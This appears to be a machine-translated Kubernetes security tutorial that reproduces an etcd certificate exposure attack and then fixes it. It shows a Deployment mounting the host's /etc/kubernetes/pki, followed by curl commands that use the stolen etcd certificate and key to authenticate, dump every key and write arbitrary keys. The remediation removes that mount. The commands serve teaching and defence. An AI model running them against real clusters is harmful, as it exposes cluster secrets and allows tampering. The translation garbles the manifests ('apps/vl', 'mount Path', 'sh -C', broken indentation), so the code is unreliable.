Kubernetes Security Series: ETCD certificate exposure attack

background

It is reported that a certificate management tool running on a single-node Kubernetes can read the TLS certificate to access the etcd storage of the API Server. Hackers have compromised the management tool APP and used this read access to gain other permissions in the cluster to take control of the entire system. This article will reproduce the attack to verify the vulnerability and see how to fix it.

attack reproduction

Assume that there is a Pod in the current cluster that can access the node etcd certificate and has been compromised. This section will demonstrate how an attacker with access to the Pod can use the Client certificate to obtain data via Etcd TLS authentication.

Note that for security reasons, Pods usually do not run on control plane nodes, but this may happen in single node clusters or in some configurations.

step

1. First, the following resources are deployed in the current K8S cluster:

---
apiVersion: apps/vl
kind: Deployment
metadata:
  name: cert-watcher
spec:
  selector:
    matchlabels:
      name: cert-watcher
  replicas: 1
  template:
    metadata:
      labels:
        name: cert-watcher
    spec:
      containers:
      - name: cert-watcher
        image: sf-alpine
        imagePullPolicy: Never
        command: ["sh"]
        args: [ "-C", "exec sleep infinity" ]
        volumeMounts:
        - name: certs1
          mount Path: "/certs1"
          readonly: true
        - name: certs2
          mount Path: "/certs2"
          readonly: true
      volumes:
      - name: certs1
        hostPath:
        path: /etc/kubernetes/pki/
        type: Directory
      - name: certs2
        hostPath:
        path: /usr/share/ca-certificates/mozilla/
        type: Directory

2. It can be observed that cert-watcherthis container mounts two folders for storing certificates, /etc/kubernetes/pki/and/usr/share/ca-certificates/mozilla/

3. Next, enter cert-watcherthe Pod to find what you need certand simulate the attack, run the following command

kubectl exec -it cert-watcher-xxx-xxx -- bash

4. Open another terminal and run the following command to try to get the IP address of the etcd service

kubectl -n kube-system get Pod etcd-sf-node-1 --template={
   
   {.status.podIP}}

Note: The attacker can obtain the etcd IP address through IP address scanning even in the invaded POD

5. In cert-watcherthis POD, try to use curl to access the etcd service to confirm whether etcd has enabled certificate-based authentication, and run the following commandcurl -k https://<etcd ip>:2379/version

As you can see, since TLS-based authentication is accessed with a client certificate, this request will fail and we should receive an authentication error.

6. Next, repeat the above curl request, this time we bring /certs1/etcdthe certificate stored in the directory, the certificate has been mounted in the POD, the command is as follows

curl -k --cacert /certs1/etcd/ca.crt --cert /certs1/etcd/server.crt --key /certs1/etcd/server.key  https://<etcd ip>:2379/version

Observe that this time we successfully passed the authentication and visited /versionthis endpoint.

7. Similarly, we can use this certificate to obtain more access in etcd, run the following command to obtain all keys

curl -k --cacert /certs1/etcd/ca.crt --cert /certs1/etcd/server.crt --key /certs1/etcd/server.key -X POST -d '{"key": "AA==", "range_end": "Zm9w"}' https://<etcd ip>:2379/v3/kv/range

8. We can even write a new key to verify whether we have etcd write permission. (Note that the data in etcd is stored in base64 format), try to write { a:b } key-value pair as follows

curl -k --cacert /certs1/etcd/ca.crt --cert /certs1/etcd/server.crt --key /certs1/etcd/server.key https://<etcd ip>:2379/v3/kv/put -d '{"key":"'$(base64<<<a)'","value":"'$(base64<<<b)'"}'

Other etcd query statements can be obtained from official documents

solution

train of thought

From the above experiments, we can see that if an attacker has invaded a management tool POD with access cluster ETCD and obtained access rights, the attacker can further obtain more sensitive information in ETCD through certificate access, causing great security risks. Therefore, we must take steps to eliminate the possibility of such security intrusions.
In this case, just make sure that cert-watchethe container cannot access the certificate in the local file system to prevent the risk of being attacked

illustrate

1. Observe how exercise.yamlthe file /etc/kubernetes/pki/is mounted, just delete the mounted volume part

        volumeMounts:
        - name: certs1
          mount Path: "/certs1"
          readonly: true

      volumes:
      - name: certs1
        hostPath:
        path: /etc/kubernetes/pki/
        type: Directory

2. Repeat the same curl request above, this time we bring /certs1/etcdthe certificate stored in the directory, there will be a certificate error, so as to reject the ETCD certificate exposure attack

Link to the original text:
Pay attention to the official account: Ai said sre
replied "CKA", you can get relevant information about CKA